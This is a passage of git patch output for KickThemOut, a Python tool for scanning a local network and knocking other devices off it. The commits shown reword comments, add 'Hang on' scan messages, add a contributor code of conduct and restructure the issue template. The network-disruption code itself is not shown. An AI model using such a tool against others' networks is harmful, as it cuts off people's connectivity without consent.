hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END) - # Print warnings if there are no hosts up + # display warning in case of no active hosts if len(hostsList) == 0 or len(hostsList) == 1: if len(hostsList) == 1: if hostsList[0][0] == defaultGatewayIP: - # If gateway found by the scan print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't kick anyone off {4}:/{5}\n").format( GREEN, RED, GREEN, RED, GREEN, END) raise SystemExit else: - # If no gateway or host found by the scan print( "\n{0}{1}WARNING: There are {2}0{3} hosts up on you network.\n\tIt looks like something went wrong {4}:/{5}").format( GREEN, RED, GREEN, RED, GREEN, END) @@ -429,17 +442,13 @@ def main(): try: - # Getting user input with while loop while True: - # Print menu items optionBanner() - # Get user input header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END)) choice = raw_input(header) - # Handling the input if choice.upper() == 'E' or choice.upper() == 'EXIT': print('\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) @@ -455,16 +464,13 @@ def main(): else: print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END) - # Stopping loop on KeyboardInterrupt except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) if __name__ == '__main__': - # -- Start point -- - - # Setting the network info variables + # configure appropriate network info sys.stdout.write("{0}Scanning your network, hang on...{1}\r".format(GREEN, END)) sys.stdout.flush() defaultInterface = getDefaultInterface() @@ -472,7 +478,8 @@ if __name__ == '__main__': defaultInterfaceMac = getDefaultInterfaceMAC() global defaultGatewayMacSet defaultGatewayMacSet = False - # Scanning network for the first time + + # commence scanning process scanNetwork() - main() + main() \ No newline at end of file From fcec584e40f4d1052bb7c560af2277c5c2efdd54 Mon Sep 17 00:00:00 2001 From: k4m4 Date: Wed, 5 Apr 2017 19:25:14 +0300 Subject: [PATCH 11/14] Add 'hang on' message for scanning process --- kickthemout.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/kickthemout.py b/kickthemout.py index 4ede237..8686699 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -152,8 +152,11 @@ def kickoneoff(): os.system("clear||cls") print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() + print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -214,6 +217,8 @@ def kicksomeoff(): os.system("clear||cls") print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() print("Online IPs: ") @@ -287,6 +292,8 @@ def kickalloff(): os.system("clear||cls") print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() print("Online IPs: ") From 296b8fbae20a9dd6213f6a0c96ee4038d1b7eef5 Mon Sep 17 00:00:00 2001 From: k4m4 Date: Thu, 13 Apr 2017 18:19:09 +0300 Subject: [PATCH 12/14] Generate Code of Conduct --- code-of-conduct.md | 74 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 code-of-conduct.md diff --git a/code-of-conduct.md b/code-of-conduct.md new file mode 100644 index 0000000..1710244 --- /dev/null +++ b/code-of-conduct.md @@ -0,0 +1,74 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, gender identity and expression, level of experience, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or +advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at nikolaskam@gmail.com. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ From 052eb6e46746c3d2e24274b5cf753b3443ca74ce Mon Sep 17 00:00:00 2001 From: Nikolaos Kamarinakis Date: Thu, 13 Apr 2017 18:35:45 +0300 Subject: [PATCH 13/14] Change issue template structure --- .github/ISSUE_TEMPLATE.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index 95d8e64..846a292 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -8,6 +8,8 @@ +## Checklist for submitting an issue to `KickThemOut`: + - [ ] I have carefully read the [README](https://github.com/k4m4/kickthemout/blob/master/README.rst) file and haven't managed to resolve my issue. - [ ] I have searched the [issues](https://github.com/k4m4/kickthemout/issues?utf8=%E2%9C%93&q=is%3Aissue) of this repo and believe that this is not a duplicate. - [ ] I am running the latest version of KickThemOut. @@ -24,5 +26,6 @@ - **Link of [Gist](https://gist.github.com/)**: -## Issue - +
+ +- **Description**: From 59a8bdd13610427f5275bd3500d1b6a9c62da4dd Mon Sep 17 00:00:00 2001 From: Nikolaos Kamarinakis Date: Thu, 13 Apr 2017 18:37:22 +0300 Subject: [PATCH 14/14] Alter issue template structure --- .github/ISSUE_TEMPLATE.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index 846a292..61d1d5d 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -23,8 +23,7 @@ - **Python version**: - **Scapy version**: - **Nmap version**: - -- **Link of [Gist](https://gist.github.com/)**: +- **Link of [Gist](https://gist.github.com/)**: